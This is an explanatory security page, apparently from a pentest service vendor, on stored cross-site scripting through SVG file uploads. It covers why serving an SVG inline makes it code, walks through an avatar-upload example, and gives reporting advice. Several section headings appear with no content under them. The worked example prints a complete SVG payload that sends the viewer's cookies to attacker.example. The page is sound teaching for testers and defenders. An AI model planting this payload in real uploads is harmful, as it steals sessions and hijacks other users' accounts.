XSS via SVG File Upload
detect, understand, remediate

What is XSS via SVG file upload?

SVG (Scalable Vector Graphics) is not a bitmap. It is an XML document that the browser parses with the same engine that runs HTML and JavaScript. The format specification permits script tags, event handlers (onload, onclick, onmouseover), foreignObject embedded HTML, anchor links with javascript: URLs, animate elements that change attributes after parse, and external references via xlink:href and use elements. Every one of these constructs can carry executable code. When an application accepts SVG as an avatar, logo, or document attachment and later serves the file inline from an origin that holds session cookies, the upload becomes a stored cross-site scripting payload.

The vulnerability is not the upload itself. The vulnerability is the rendering contract. A PNG or JPEG returned with image/png does not execute, regardless of payload, because the browser hands the bytes to the image decoder rather than the HTML parser. An SVG returned with image/svg+xml from the same origin as the application is parsed by the HTML and JavaScript engines, and any script it carries runs with the cookies, localStorage, and DOM access of the origin that served it. Two configuration choices on the response (the Content-Type header and the origin) decide whether an uploaded SVG is data or code.

XSS via SVG sits next to stored cross-site scripting as a delivery vehicle for the same attack class, and next to unrestricted file upload as a class of upload finding that does not need server-side execution to cause harm. Where unrestricted file upload focuses on web shells and remote code execution on the server, SVG XSS focuses on the victim browser session and the data accessible to the origin that served the file.

How XSS via SVG works in practice

Common SVG payload patterns

Each pattern below is observed regularly on engagements. A scanner or manual tester should walk every variant before declaring an upload endpoint safe, because sanitisers tend to cover the obvious script element while leaving event handlers, foreignObject, or animate primitives untouched.

Where the vulnerability really lives

On a real engagement, the upload form is rarely the broken component. Most modern frameworks accept any uploaded bytes; the question is what happens at delivery time. The four configuration knobs that decide whether an SVG upload is safe or unsafe sit on the response path, not on the upload path.

A worked example: the avatar upload

A common shape on engagements is a SaaS application that accepts user avatar uploads, allows SVG in the allow list (because vector logos render crisply), and serves the file back inline from the same origin as the application. The upload validation checks the file extension and the leading magic bytes, both of which are easy to satisfy with a valid SVG document.

<!-- payload.svg -->
<?xml version="1.0" standalone="no"?>
<svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="100" height="100">
  <script type="text/javascript">
    fetch('https://attacker.example/c?d=' + encodeURIComponent(document.cookie));
  </script>
  <circle cx="50" cy="50" r="40" fill="green" />
</svg>

The tester uploads payload.svg as their avatar. The server stores the file unchanged, returns a URL like https://app.example/uploads/u/12345/avatar.svg, and serves it back with Content-Type: image/svg+xml. When any other user (an admin reviewing the user profile, a teammate viewing a shared workspace, a client opening a comment thread) loads the page that renders the avatar with an img tag or an inline link, the browser parses the SVG, executes the script, and exfiltrates the cookie of the viewer to attacker.example.

On a SecPortal engagement, this kind of pattern shows up first as an upload probe finding from the authenticated scanner, then promotes to a manual stored-XSS finding once the tester confirms the served Content-Type and demonstrates execution against a separate browser session. The proof of concept is the network log of the cookie exfiltration paired with the original payload file. Both pieces stay attached to the finding so the retester can reproduce the attack against the fix.

How to detect XSS via SVG

How to fix XSS via SVG

Reporting an SVG XSS finding

SVG XSS findings are easy to dispute when the report stops at "application accepts SVG uploads". Engineering pushes back that uploading an SVG is a feature, the file passes basic validation, and no other user has reported a problem. The strongest reports name the exact upload endpoint, show the served Content-Type and origin, include a benign payload that triggers a network beacon, and demonstrate execution against a second browser session that holds a different user role (typically an admin or a tenant peer).

On a SecPortal engagement, the finding sits on the engagement record with the affected upload endpoint, the served Content-Type and CSP, the CVSS 3.1 vector calibrated to the data accessible to the victim role, the CWE-79 mapping, the request and response evidence for both the upload and the served file, and the remediation guidance from this page. Pentest engagement records keep the original payload, the served bytes, and the network capture of the cookie beacon attached to the finding so the retest verification references the same artefacts that proved the original break. The finding triage workflow covers how to separate scanner-derived flags (a permissive accept list in source) from manually validated findings (a confirmed cookie exfiltration on a live session) so the report differentiates rule hits from confirmed exploits.

Compliance impact

A pentester checklist for SVG uploads

The list below is the minimum coverage a tester should walk before declaring an upload surface safe. Each item maps to a specific finding shape, with a CVSS profile that reflects the data accessible to the victim role.